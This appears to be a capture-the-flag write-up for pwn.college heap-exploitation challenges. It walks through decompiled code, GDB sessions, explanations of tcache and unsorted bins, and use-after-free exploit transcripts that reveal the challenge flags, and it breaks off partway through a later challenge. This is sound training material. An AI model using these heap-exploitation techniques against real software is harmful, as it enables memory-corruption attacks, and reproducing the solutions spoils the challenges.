Dynamic Allocator Misuse
Freebie (Easy)
hacker@dynamic-allocator-misuse~freebie-easy:~$ /challenge/freebie-easy
###
### Welcome to /challenge/freebie-easy!
###
This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of
challenges, you will become familiar with the concept of heap exploitation.
This challenge can manage up to 1 unique allocations.
[*] Function (malloc/free/puts/read_flag/quit):
The program uses a memory space of 292 bytes to read the flag.
[*] Function (malloc/free/puts/read_flag/quit): read_flag
[*] flag_buffer = malloc(292)
[*] flag_buffer = 0x5633693962c0
[*] read the flag!
But it SEGFAULTs when we try the puts command.
[*] Function (malloc/free/puts/read_flag/quit): puts
[*] puts(allocations[0])
Data: Segmentation fault
Binary analysis
Let's look at the code.
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // ecx
int i; // [rsp+2Ch] [rbp-B4h]
unsigned int size; // [rsp+34h] [rbp-ACh]
void *size_4; // [rsp+38h] [rbp-A8h]
void *ptr; // [rsp+48h] [rbp-98h]
char s1[136]; // [rsp+50h] [rbp-90h] BYREF
unsigned __int64 v10; // [rsp+D8h] [rbp-8h]
v10 = __readfsqword(0x28u);
setvbuf(stdin, nullptr, 2, 0);
setvbuf(stdout, nullptr, 2, 1u);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
ptr = nullptr;
puts(
"This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of");
puts("challenges, you will become familiar with the concept of heap exploitation.\n");
printf("This challenge can manage up to %d unique allocations.\n\n", 1);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
print_tcache(main_thread_tcache);
puts(byte_2419);
printf("[*] Function (malloc/free/puts/read_flag/quit): ");
__isoc99_scanf("%127s", s1);
puts(byte_2419);
if ( strcmp(s1, "malloc") )
break;
printf("Size: ");
__isoc99_scanf("%127s", s1);
puts(byte_2419);
size = atoi(s1);
printf("[*] allocations[%d] = malloc(%d)\n", 0, size);
ptr = malloc(size);
printf("[*] allocations[%d] = %p\n", 0, ptr);
}
if ( strcmp(s1, "free") )
break;
printf("[*] free(allocations[%d])\n", 0);
free(ptr);
}
if ( strcmp(s1, "puts") )
break;
printf("[*] puts(allocations[%d])\n", 0);
printf("Data: ");
puts((const char *)ptr);
}
if ( strcmp(s1, "read_flag") )
break;
for ( i = 0; i <= 0; ++i )
{
printf("[*] flag_buffer = malloc(%d)\n", 292);
size_4 = malloc(292u);
printf("[*] flag_buffer = %p\n", size_4);
}
v3 = open("/flag", 0);
read(v3, size_4, 0x80u);
puts("[*] read the flag!");
}
if ( strcmp(s1, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
Use-After-Free
We can leverage a UAF vulnerability here, where we allocate 292 bytes of memory using malloc, and then free it using the free command.
It is important that we allocate the same number of bytes that the read_flag function uses, otherwise it will use another TCACHE bin.
TCACHE Binning
The heap allocator (GLIBC) doesn't just throw all freed memory into one big pile. It organizes freed chunks into "bins" based on their size.
- A chunk of
128bytes goes into Bin#7. - A chunk of
292bytes goes into Bin#17.
When the program calls malloc(N), the allocator only looks in the bin that matches size N.
We then use read_flag to instruct the program to read the flag next it will read it to the same location where the first allocated memory was, because that pointer is not cleared.
Next, when we use puts, the program will print the data pointed to by the original pointer. However, since we read the flag to that location, the flag will be printed.
Alternatively, we can also malloc a huge bin so that we do not have to worry about the specific size, but we will leverage that in another challenge.
Exploit
hacker@dynamic-allocator-misuse~freebie-easy:~$ /challenge/freebie-easy
###
### Welcome to /challenge/freebie-easy!
###
This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of
challenges, you will become familiar with the concept of heap exploitation.
This challenge can manage up to 1 unique allocations.
[*] Function (malloc/free/puts/read_flag/quit): malloc
Size: 292
[*] allocations[0] = malloc(292)
[*] allocations[0] = 0x5c1c841ef2c0
[*] Function (malloc/free/puts/read_flag/quit): free
[*] free(allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #17 | SIZE: 281 - 296 | COUNT: 1 | HEAD: 0x5c1c841ef2c0 | KEY: 0x5c1c841ef010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x5c1c841ef2c0 | 0 | 0x131 (P) | (nil) | 0x5c1c841ef010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/read_flag/quit): read_flag
[*] flag_buffer = malloc(292)
[*] flag_buffer = 0x5c1c841ef2c0
[*] read the flag!
[*] Function (malloc/free/puts/read_flag/quit): puts
[*] puts(allocations[0])
Data: pwn.college{84MQn7Xg8iltuVV7AxkYMfwzHrQ.0VM3MDL4ITM0EzW}
[*] Function (malloc/free/puts/read_flag/quit): quit
### Goodbye!
Freebie (Hard)
hacker@dynamic-allocator-misuse~freebie-hard:~$ /challenge/freebie-hard
###
### Welcome to /challenge/freebie-hard!
###
[*] Function (malloc/free/puts/read_flag/quit): read_flag
[*] Function (malloc/free/puts/read_flag/quit): quit
### Goodbye!
This time the program does not tell us how many bytes the read_flag function is allocating. We need to know this so that we can use the same number of bytes in our malloc.
- Size allocated for
read_flag
Binary analysis
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // ecx
int i; // [rsp+2Ch] [rbp-B4h]
unsigned int size; // [rsp+34h] [rbp-ACh]
void *size_4; // [rsp+38h] [rbp-A8h]
void *ptr; // [rsp+48h] [rbp-98h]
char s1[136]; // [rsp+50h] [rbp-90h] BYREF
unsigned __int64 v10; // [rsp+D8h] [rbp-8h]
v10 = __readfsqword(0x28u);
setvbuf(stdin, nullptr, 2, 0);
setvbuf(stdout, nullptr, 2, 1u);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
ptr = nullptr;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts(byte_2020);
printf("[*] Function (malloc/free/puts/read_flag/quit): ");
__isoc99_scanf("%127s", s1);
puts(byte_2020);
if ( strcmp(s1, "malloc") )
break;
printf("Size: ");
__isoc99_scanf("%127s", s1);
puts(byte_2020);
size = atoi(s1);
ptr = malloc(size);
}
if ( strcmp(s1, "free") )
break;
free(ptr);
}
if ( strcmp(s1, "puts") )
break;
printf("Data: ");
puts((const char *)ptr);
}
if ( strcmp(s1, "read_flag") )
break;
for ( i = 0; i <= 0; ++i )
size_4 = malloc(262u);
v3 = open("/flag", 0);
read(v3, size_4, 0x80u);
}
if ( strcmp(s1, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
We can see, that on selecting read_flag, a bin of 262 is allocated using malloc().
For practice, let's find out how we can discover the same using GDB.
pwndbg> disassemble main
Dump of assembler code for function main:
0x00000000000012a9 <+0>: endbr64
0x00000000000012ad <+4>: push rbp
0x00000000000012ae <+5>: mov rbp,rsp
0x00000000000012b1 <+8>: sub rsp,0xe0
0x00000000000012b8 <+15>: mov DWORD PTR [rbp-0xc4],edi
0x00000000000012be <+21>: mov QWORD PTR [rbp-0xd0],rsi
0x00000000000012c5 <+28>: mov QWORD PTR [rbp-0xd8],rdx
0x00000000000012cc <+35>: mov rax,QWORD PTR fs:0x28
0x00000000000012d5 <+44>: mov QWORD PTR [rbp-0x8],rax
0x00000000000012d9 <+48>: xor eax,eax
0x00000000000012db <+50>: mov rax,QWORD PTR [rip+0x2d3e] # 0x4020 <stdin@@GLIBC_2.2.5>
0x00000000000012e2 <+57>: mov ecx,0x0
0x00000000000012e7 <+62>: mov edx,0x2
0x00000000000012ec <+67>: mov esi,0x0
0x00000000000012f1 <+72>: mov rdi,rax
0x00000000000012f4 <+75>: call 0x1180 <setvbuf@plt>
0x00000000000012f9 <+80>: mov rax,QWORD PTR [rip+0x2d10] # 0x4010 <stdout@@GLIBC_2.2.5>
0x0000000000001300 <+87>: mov ecx,0x1
0x0000000000001305 <+92>: mov edx,0x2
0x000000000000130a <+97>: mov esi,0x0
0x000000000000130f <+102>: mov rdi,rax
0x0000000000001312 <+105>: call 0x1180 <setvbuf@plt>
0x0000000000001317 <+110>: lea rdi,[rip+0xcea] # 0x2008
0x000000000000131e <+117>: call 0x1120 <puts@plt>
0x0000000000001323 <+122>: mov rax,QWORD PTR [rbp-0xd0]
0x000000000000132a <+129>: mov rax,QWORD PTR [rax]
0x000000000000132d <+132>: mov rsi,rax
0x0000000000001330 <+135>: lea rdi,[rip+0xcd5] # 0x200c
0x0000000000001337 <+142>: mov eax,0x0
0x000000000000133c <+147>: call 0x1140 <printf@plt>
0x0000000000001341 <+152>: lea rdi,[rip+0xcc0] # 0x2008
0x0000000000001348 <+159>: call 0x1120 <puts@plt>
0x000000000000134d <+164>: mov edi,0xa
0x0000000000001352 <+169>: call 0x1110 <putchar@plt>
0x0000000000001357 <+174>: mov QWORD PTR [rbp-0x98],0x0
0x0000000000001362 <+185>: mov QWORD PTR [rbp-0xa0],0x106
0x000000000000136d <+196>: lea rdi,[rip+0xcac] # 0x2020
0x0000000000001374 <+203>: call 0x1120 <puts@plt>
0x0000000000001379 <+208>: lea rdi,[rip+0xca8] # 0x2028
0x0000000000001380 <+215>: mov eax,0x0
0x0000000000001385 <+220>: call 0x1140 <printf@plt>
0x000000000000138a <+225>: lea rax,[rbp-0x90]
0x0000000000001391 <+232>: mov rsi,rax
0x0000000000001394 <+235>: lea rdi,[rip+0xcbe] # 0x2059
0x000000000000139b <+242>: mov eax,0x0
0x00000000000013a0 <+247>: call 0x11b0 <__isoc99_scanf@plt>
0x00000000000013a5 <+252>: lea rdi,[rip+0xc74] # 0x2020
0x00000000000013ac <+259>: call 0x1120 <puts@plt>
0x00000000000013b1 <+264>: lea rax,[rbp-0x90]
0x00000000000013b8 <+271>: lea rsi,[rip+0xca0] # 0x205f
0x00000000000013bf <+278>: mov rdi,rax
0x00000000000013c2 <+281>: call 0x1160 <strcmp@plt>
0x00000000000013c7 <+286>: test eax,eax
0x00000000000013c9 <+288>: jne 0x1446 <main+413>
0x00000000000013cb <+290>: mov DWORD PTR [rbp-0xb0],0x0
0x00000000000013d5 <+300>: lea rdi,[rip+0xc8a] # 0x2066
0x00000000000013dc <+307>: mov eax,0x0
0x00000000000013e1 <+312>: call 0x1140 <printf@plt>
0x00000000000013e6 <+317>: lea rax,[rbp-0x90]
0x00000000000013ed <+324>: mov rsi,rax
0x00000000000013f0 <+327>: lea rdi,[rip+0xc62] # 0x2059
0x00000000000013f7 <+334>: mov eax,0x0
0x00000000000013fc <+339>: call 0x11b0 <__isoc99_scanf@plt>
0x0000000000001401 <+344>: lea rdi,[rip+0xc18] # 0x2020
0x0000000000001408 <+351>: call 0x1120 <puts@plt>
0x000000000000140d <+356>: lea rax,[rbp-0x90]
0x0000000000001414 <+363>: mov rdi,rax
0x0000000000001417 <+366>: call 0x11a0 <atoi@plt>
0x000000000000141c <+371>: mov DWORD PTR [rbp-0xac],eax
0x0000000000001422 <+377>: mov eax,DWORD PTR [rbp-0xac]
0x0000000000001428 <+383>: mov rdi,rax
0x000000000000142b <+386>: call 0x1170 <malloc@plt>
0x0000000000001430 <+391>: mov rdx,rax
0x0000000000001433 <+394>: mov eax,DWORD PTR [rbp-0xb0]
0x0000000000001439 <+400>: mov QWORD PTR [rbp+rax*8-0x98],rdx
0x0000000000001441 <+408>: jmp 0x136d <main+196>
0x0000000000001446 <+413>: lea rax,[rbp-0x90]
0x000000000000144d <+420>: lea rsi,[rip+0xc19] # 0x206d
0x0000000000001454 <+427>: mov rdi,rax
0x0000000000001457 <+430>: call 0x1160 <strcmp@plt>
0x000000000000145c <+435>: test eax,eax
0x000000000000145e <+437>: jne 0x1485 <main+476>
0x0000000000001460 <+439>: mov DWORD PTR [rbp-0xb0],0x0
0x000000000000146a <+449>: mov eax,DWORD PTR [rbp-0xb0]
0x0000000000001470 <+455>: mov rax,QWORD PTR [rbp+rax*8-0x98]
0x0000000000001478 <+463>: mov rdi,rax
0x000000000000147b <+466>: call 0x1100 <free@plt>
0x0000000000001480 <+471>: jmp 0x136d <main+196>
0x0000000000001485 <+476>: lea rax,[rbp-0x90]
0x000000000000148c <+483>: lea rsi,[rip+0xbdf] # 0x2072
0x0000000000001493 <+490>: mov rdi,rax
0x0000000000001496 <+493>: call 0x1160 <strcmp@plt>
0x000000000000149b <+498>: test eax,eax
0x000000000000149d <+500>: jne 0x14d5 <main+556>
0x000000000000149f <+502>: mov DWORD PTR [rbp-0xb0],0x0
0x00000000000014a9 <+512>: lea rdi,[rip+0xbc7] # 0x2077
0x00000000000014b0 <+519>: mov eax,0x0
0x00000000000014b5 <+524>: call 0x1140 <printf@plt>
0x00000000000014ba <+529>: mov eax,DWORD PTR [rbp-0xb0]
0x00000000000014c0 <+535>: mov rax,QWORD PTR [rbp+rax*8-0x98]
0x00000000000014c8 <+543>: mov rdi,rax
0x00000000000014cb <+546>: call 0x1120 <puts@plt>
0x00000000000014d0 <+551>: jmp 0x136d <main+196>
0x00000000000014d5 <+556>: lea rax,[rbp-0x90]
0x00000000000014dc <+563>: lea rsi,[rip+0xb9b] # 0x207e
0x00000000000014e3 <+570>: mov rdi,rax
0x00000000000014e6 <+573>: call 0x1160 <strcmp@plt>
0x00000000000014eb <+578>: test eax,eax
0x00000000000014ed <+580>: jne 0x1554 <main+683>
0x00000000000014ef <+582>: mov DWORD PTR [rbp-0xb4],0x0
0x00000000000014f9 <+592>: jmp 0x1518 <main+623>
0x00000000000014fb <+594>: mov rax,QWORD PTR [rbp-0xa0]
0x0000000000001502 <+601>: mov rdi,rax
0x0000000000001505 <+604>: call 0x1170 <malloc@plt>
0x000000000000150a <+609>: mov QWORD PTR [rbp-0xa8],rax
0x0000000000001511 <+616>: add DWORD PTR [rbp-0xb4],0x1
0x0000000000001518 <+623>: cmp DWORD PTR [rbp-0xb4],0x0
0x000000000000151f <+630>: jle 0x14fb <main+594>
0x0000000000001521 <+632>: mov esi,0x0
0x0000000000001526 <+637>: lea rdi,[rip+0xb5b] # 0x2088
0x000000000000152d <+644>: mov eax,0x0
0x0000000000001532 <+649>: call 0x1190 <open@plt>
0x0000000000001537 <+654>: mov ecx,eax
0x0000000000001539 <+656>: mov rax,QWORD PTR [rbp-0xa8]
0x0000000000001540 <+663>: mov edx,0x80
0x0000000000001545 <+668>: mov rsi,rax
0x0000000000001548 <+671>: mov edi,ecx
0x000000000000154a <+673>: call 0x1150 <read@plt>
0x000000000000154f <+678>: jmp 0x136d <main+196>
0x0000000000001554 <+683>: lea rax,[rbp-0x90]
0x000000000000155b <+690>: lea rsi,[rip+0xb2c] # 0x208e
0x0000000000001562 <+697>: mov rdi,rax
0x0000000000001565 <+700>: call 0x1160 <strcmp@plt>
0x000000000000156a <+705>: test eax,eax
0x000000000000156c <+707>: je 0x157c <main+723>
0x000000000000156e <+709>: lea rdi,[rip+0xb1e] # 0x2093
0x0000000000001575 <+716>: call 0x1120 <puts@plt>
0x000000000000157a <+721>: jmp 0x157d <main+724>
0x000000000000157c <+723>: nop
0x000000000000157d <+724>: lea rdi,[rip+0xb24] # 0x20a8
0x0000000000001584 <+731>: call 0x1120 <puts@plt>
0x0000000000001589 <+736>: mov eax,0x0
0x000000000000158e <+741>: mov rcx,QWORD PTR [rbp-0x8]
0x0000000000001592 <+745>: xor rcx,QWORD PTR fs:0x28
0x000000000000159b <+754>: je 0x15a2 <main+761>
0x000000000000159d <+756>: call 0x1130 <__stack_chk_fail@plt>
0x00000000000015a2 <+761>: leave
0x00000000000015a3 <+762>: ret
End of assembler dump.
The second malloc, at main+604 is what is called when we use the read_flag command. We can tell that it is the second one and not the first call to malloc at main+386, because the first one takes another input, which is the size of memory to be allocated. So the first call to malloc happens when we use the malloc command.
Let's put a breakpoint and run.
pwndbg> break *(main+604)
Breakpoint 1 at 0x1505
pwndbg> run
Starting program: /challenge/freebie-hard
###
### Welcome to /challenge/freebie-hard!
###
[*] Function (malloc/free/puts/read_flag/quit): read_flag
Breakpoint 1, 0x00005eab712ba505 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────────────
RAX 0x106
RBX 0x5eab712ba5b0 (__libc_csu_init) ◂— endbr64
RCX 0x7b84ab44a297 (write+23) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0
RDI 0x106
RSI 0x5eab712bb07e ◂— 'read_flag'
R8 1
R9 0x7ffffff8
R10 0x7fffffff
R11 0x246
R12 0x5eab712ba1c0 (_start) ◂— endbr64
R13 0x7ffc52383440 ◂— 1
R14 0
R15 0
RBP 0x7ffc52383350 ◂— 0
RSP 0x7ffc52383270 ◂— 0
RIP 0x5eab712ba505 (main+604) ◂— call malloc@plt
───────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────── ────────────────────────────────────────────────────────────────
► 0x5eab712ba505 <main+604> call malloc@plt <malloc@plt>
size: 0x106
0x5eab712ba50a <main+609> mov qword ptr [rbp - 0xa8], rax
0x5eab712ba511 <main+616> add dword ptr [rbp - 0xb4], 1
0x5eab712ba518 <main+623> cmp dword ptr [rbp - 0xb4], 0
0x5eab712ba51f <main+630> jle main+594 <main+594>
0x5eab712ba521 <main+632> mov esi, 0 ESI => 0
0x5eab712ba526 <main+637> lea rdi, [rip + 0xb5b] RDI => 0x5eab712bb088 ◂— 0x75710067616c662f /* '/flag' */
0x5eab712ba52d <main+644> mov eax, 0 EAX => 0
0x5eab712ba532 <main+649> call open@plt <open@plt>
0x5eab712ba537 <main+654> mov ecx, eax
0x5eab712ba539 <main+656> mov rax, qword ptr [rbp - 0xa8]
────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffc52383270 ◂— 0
01:0008│-0d8 0x7ffc52383278 —▸ 0x7ffc52383458 —▸ 0x7ffc52384691 ◂— 'SHELL=/run/dojo/bin/bash'
02:0010│-0d0 0x7ffc52383280 —▸ 0x7ffc52383448 —▸ 0x7ffc52384679 ◂— '/challenge/freebie-hard'
03:0018│-0c8 0x7ffc52383288 ◂— 0x100000000
04:0020│-0c0 0x7ffc52383290 ◂— 0
... ↓ 3 skipped
──────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────
► 0 0x5eab712ba505 main+604
1 0x7b84ab360083 __libc_start_main+243
2 0x5eab712ba1ee _start+46
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
- Size allocated for
read_flag:262
Exploit
hacker@dynamic-allocator-misuse~freebie-hard:~$ /challenge/freebie-hard
###
### Welcome to /challenge/freebie-hard!
###
[*] Function (malloc/free/puts/read_flag/quit): malloc
Size: 262
[*] Function (malloc/free/puts/read_flag/quit): free
[*] Function (malloc/free/puts/read_flag/quit): read_flag
[*] Function (malloc/free/puts/read_flag/quit): puts
Data: pwn.college{I2KyXNxk50mkShkCYeSWWeQnub9.0lM3MDL4ITM0EzW}
[*] Function (malloc/free/puts/read_flag/quit): quit
### Goodbye!
Freebin Feint (Easy)
hacker@dynamic-allocator-misuse~freebin-feint-easy:~$ /challenge/freebin-feint-easy
###
### Welcome to /challenge/freebin-feint-easy!
###
This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of
challenges, you will become familiar with the concept of heap exploitation.
This challenge can manage up to 1 unique allocations.
[*] Function (malloc/free/puts/read_flag/quit): read_flag
[*] flag_buffer = malloc(991)
[*] flag_buffer = 0x582868eee2c0
[*] read the flag!
Binary analysis
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // ecx
int i; // [rsp+2Ch] [rbp-B4h]
unsigned int size; // [rsp+34h] [rbp-ACh]
void *size_4; // [rsp+38h] [rbp-A8h]
size_t v8; // [rsp+40h] [rbp-A0h]
void *ptr; // [rsp+48h] [rbp-98h]
char s1[136]; // [rsp+50h] [rbp-90h] BYREF
unsigned __int64 v11; // [rsp+D8h] [rbp-8h]
v11 = __readfsqword(0x28u);
setvbuf(stdin, nullptr, 2, 0);
setvbuf(stdout, nullptr, 2, 1u);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
ptr = nullptr;
v8 = rand() % 872 + 128;
puts(
"This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of");
puts("challenges, you will become familiar with the concept of heap exploitation.\n");
printf("This challenge can manage up to %d unique allocations.\n\n", 1);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
print_tcache(main_thread_tcache);
puts(byte_2441);
printf("[*] Function (malloc/free/puts/read_flag/quit): ");
__isoc99_scanf("%127s", s1);
puts(byte_2441);
if ( strcmp(s1, "malloc") )
break;
printf("Size: ");
__isoc99_scanf("%127s", s1);
puts(byte_2441);
size = atoi(s1);
printf("[*] allocations[%d] = malloc(%d)\n", 0, size);
ptr = malloc(size);
printf("[*] allocations[%d] = %p\n", 0, ptr);
}
if ( strcmp(s1, "free") )
break;
printf("[*] free(allocations[%d])\n", 0);
free(ptr);
}
if ( strcmp(s1, "puts") )
break;
printf("[*] puts(allocations[%d])\n", 0);
printf("Data: ");
puts((const char *)ptr);
}
if ( strcmp(s1, "read_flag") )
break;
for ( i = 0; i <= 0; ++i )
{
printf("[*] flag_buffer = malloc(%d)\n", v8);
size_4 = malloc(v8);
printf("[*] flag_buffer = %p\n", size_4);
}
v3 = open("/flag", 0);
read(v3, size_4, 0x80u);
puts("[*] read the flag!");
}
if ( strcmp(s1, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
This challenge is very similar to the previous one, only difference being that the size of the flag_buffer is arbitrary this time.
# ---- snip ----
v8 = rand() % 872 + 128;
# ---- snip ----
This easy version prints out the size of the memory allocation for us, so we just have to allocate the same size when we use malloc.
So we have to allocate the same size when we use malloc.
Exploit
hacker@dynamic-allocator-misuse~freebin-feint-easy:~$ /challenge/freebin-feint-easy
###
### Welcome to /challenge/freebin-feint-easy!
###
This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of
challenges, you will become familiar with the concept of heap exploitation.
This challenge can manage up to 1 unique allocations.
[*] Function (malloc/free/puts/read_flag/quit): read_flag
[*] flag_buffer = malloc(991)
[*] flag_buffer = 0x582868eee2c0
[*] read the flag!
[*] Function (malloc/free/puts/read_flag/quit): malloc
Size: 991
[*] allocations[0] = malloc(991)
[*] allocations[0] = 0x582868eee6b0
[*] Function (malloc/free/puts/read_flag/quit): free
[*] free(allocations[0])
+====================+========================+==============+============================+============================+
| TCACHE BIN #61 | SIZE: 985 - 1000 | COUNT: 1 | HEAD: 0x582868eee6b0 | KEY: 0x582868eee010 |
+====================+========================+==============+============================+============================+
| ADDRESS | PREV_SIZE (-0x10) | SIZE (-0x08) | next (+0x00) | key (+0x08) |
+---------------------+---------------------+------------------------------+---------------------+---------------------+
| 0x582868eee6b0 | 0 | 0x3f1 (P) | (nil) | 0x582868eee010 |
+----------------------------------------------------------------------------------------------------------------------+
[*] Function (malloc/free/puts/read_flag/quit): read_flag
[*] flag_buffer = malloc(991)
[*] flag_buffer = 0x582868eee6b0
[*] read the flag!
[*] Function (malloc/free/puts/read_flag/quit): puts
[*] puts(allocations[0])
Data: pwn.college{YmZfwVA6aurOwPF9E1iE4IdM40I.01M3MDL4ITM0EzW}
[*] Function (malloc/free/puts/read_flag/quit): quit
### Goodbye!
Freebin Feint (Hard)
hacker@dynamic-allocator-misuse~freebin-feint-hard:~$ /challenge/freebin-feint-hard
###
### Welcome to /challenge/freebin-feint-hard!
###
[*] Function (malloc/free/puts/read_flag/quit): read_flag
[*] flag_buffer = 0x6241860a12a0
[*] Function (malloc/free/puts/read_flag/quit): quit
### Goodbye!
Binary analysis
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // ecx
int i; // [rsp+2Ch] [rbp-B4h]
unsigned int size; // [rsp+34h] [rbp-ACh]
void *size_4; // [rsp+38h] [rbp-A8h]
size_t v8; // [rsp+40h] [rbp-A0h]
void *ptr; // [rsp+48h] [rbp-98h]
char s1[136]; // [rsp+50h] [rbp-90h] BYREF
unsigned __int64 v11; // [rsp+D8h] [rbp-8h]
v11 = __readfsqword(0x28u);
setvbuf(stdin, nullptr, 2, 0);
setvbuf(stdout, nullptr, 2, 1u);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
ptr = nullptr;
v8 = rand() % 872 + 128;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts(byte_204E);
printf("[*] Function (malloc/free/puts/read_flag/quit): ");
__isoc99_scanf("%127s", s1);
puts(byte_204E);
if ( strcmp(s1, "malloc") )
break;
printf("Size: ");
__isoc99_scanf("%127s", s1);
puts(byte_204E);
size = atoi(s1);
ptr = malloc(size);
printf("[*] allocations[%d] = %p\n", 0, ptr);
}
if ( strcmp(s1, "free") )
break;
free(ptr);
}
if ( strcmp(s1, "puts") )
break;
printf("Data: ");
puts((const char *)ptr);
}
if ( strcmp(s1, "read_flag") )
break;
for ( i = 0; i <= 0; ++i )
{
size_4 = malloc(v8);
printf("[*] flag_buffer = %p\n", size_4);
}
v3 = open("/flag", 0);
read(v3, size_4, 0x80u);
}
if ( strcmp(s1, "quit") )
puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;
}
Again, the flag_buffer is some arbitrary size.
# ---- snip ----
v8 = rand() % 872 + 128;
# ---- snip ----
In order to solve this challenge, we have to leverage Remaindering.
This is the actual method to solve even the easy version. We were able to allocate the exact number of bytes in that challenge because the program printed that number then.
Leveraging the unsorted bin / cache
Memory managers handle splitting large memory blocks from the "top chunk" (the largest free block) to satisfy smaller allocation requests, creating a smaller "remainder" block that stays available in the heap.
Instead of immediately putting newly freed chunks onto the correct bin, the heap manager coalesces it with neighbors, and dumps it onto a general unsorted linked list. During malloc, each item on the unsorted bin is checked to see if it “fits” the request. If it does, malloc can use it immediately. If it does not, malloc then puts the chunk into its corresponding small or large bin.
This only happens if the unsorted bin is used instead of TCACHE to allocated memory. For that we have to allocate a chunk of size greater than 1032 bytes, as any chunks from 24 to 1032 bytes in size are handled by TCACHE.
Currently, the ptmalloc caching design (in order of use) is as follows:
- Tcache: 64 bins, chunk sizes ~32 to ~1040 bytes
- Fastbins: 10 bins, chunk sizes up to 128 bytes by default
- Unsorted bin: 1 doubly-linked staging list for anything freed that doesn't fit tcache/fastbin
- Small bins: 62 bins, chunk sizes 32 to ~1008 bytes
- Large bins: 63 bins, chunk sizes over 1024 bytes
So, if we allocate a large enough space, then free it, and then call the read_flag command, we would not have to worry about the size of flag_buffer because it will be split and used from our unsorted bin allocation.
Exploit
hacker@dynamic-allocator-misuse~freebin-feint-hard:~$ /challenge/freebin-feint-hard
###
### Welcome to /challenge/freebin-feint-hard!
###
[*] Function (malloc/free/puts/read_flag/quit): malloc
Size: 5000
[*] allocations[0] = 0x5618c504f2a0
[*] Function (malloc/free/puts/read_flag/quit): free
[*] Function (malloc/free/puts/read_flag/quit): read_flag
[*] flag_buffer = 0x5618c504f2a0
[*] Function (malloc/free/puts/read_flag/quit): puts
Data: pwn.college{su9bnqD-UlklEnJ8xjHEtaBKtSJ.0FN3MDL4ITM0EzW}
[*] Function (malloc/free/puts/read_flag/quit): quit
### Goodbye!
Free Flag Fumble (Easy)
hacker@dynamic-allocator-misuse~free-flag-fumble-easy:/$ /challenge/free-flag-fumble-easy
###
### Welcome to /challenge/free-flag-fumble-easy!
###
This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of
challenges, you will become familiar with the concept of heap exploitation.
This challenge can manage up to 16 unique allocations.
In this challenge, the flag buffer is allocated 2 times before it is used.
[*] Function (malloc/free/puts/read_flag/quit): read_flag
[*] flag_buffer = malloc(480)
[*] flag_buffer = 0x59c50bb2c2c0
[*] flag_buffer = malloc(480)
[*] flag_buffer = 0x59c50bb2c4b0
[*] read the flag!
Binary analysis
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // ecx
int i; // [rsp+24h] [rbp-12Ch]
unsigned int v6; // [rsp+28h] [rbp-128h]
unsigned int v7; // [rsp+28h] [rbp-128h]
unsigned int v8; // [rsp+28h] [rbp-128h]
unsigned int size; // [rsp+2Ch] [rbp-124h]
void *size_4; // [rsp+30h] [rbp-120h]
void *ptr[16]; // [rsp+40h] [rbp-110h] BYREF
char s1[136]; // [rsp+C0h] [rbp-90h] BYREF
unsigned __int64 v13; // [rsp+148h] [rbp-8h]
v13 = __readfsqword(0x28u);
setvbuf(stdin, nullptr, 2, 0);
setvbuf(stdout, nullptr, 2, 1u);
puts("###");
printf("### Welcome to %s!\n", *argv);
puts("###");
putchar(10);
memset(ptr, 0, sizeof(ptr));
puts(
"This challenge allows you to perform various heap operations, some of which may involve the flag. Through this series of");
puts("challenges, you will become familiar with the concept of heap exploitation.\n");
printf("This challenge can manage up to %d unique allocations.\n\n", 16);
printf("In this challenge, the flag buffer is allocated %d times before it is used.\n\n", 2);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
print_tcache(main_thread_tcache);
puts(byte_246E);
printf("[*] Function (malloc/free/puts/read_flag/quit): ");
__isoc99_scanf("%127s", s1);
puts(byte_246E);
if ( strcmp(s1, "malloc") )
break;
printf("Index: ");
__isoc99_scanf("%127s", s1);
puts(byte_246E);
v6 = atoi(s1);
if ( v6 > 0xF )
__assert_fail("allocation_index < 16", "<stdin>", 0xE0u, "main");
printf("Size: ");
__isoc99_scanf("%127s", s1);
puts(byte_246E);
size = atoi(s1);
printf("[*] allocations[%d] = malloc(%d)\n", v6, size);
ptr[v6] = malloc(size);
printf("[*] allocations[%d] = %p\n", v6, ptr[v6]);
}
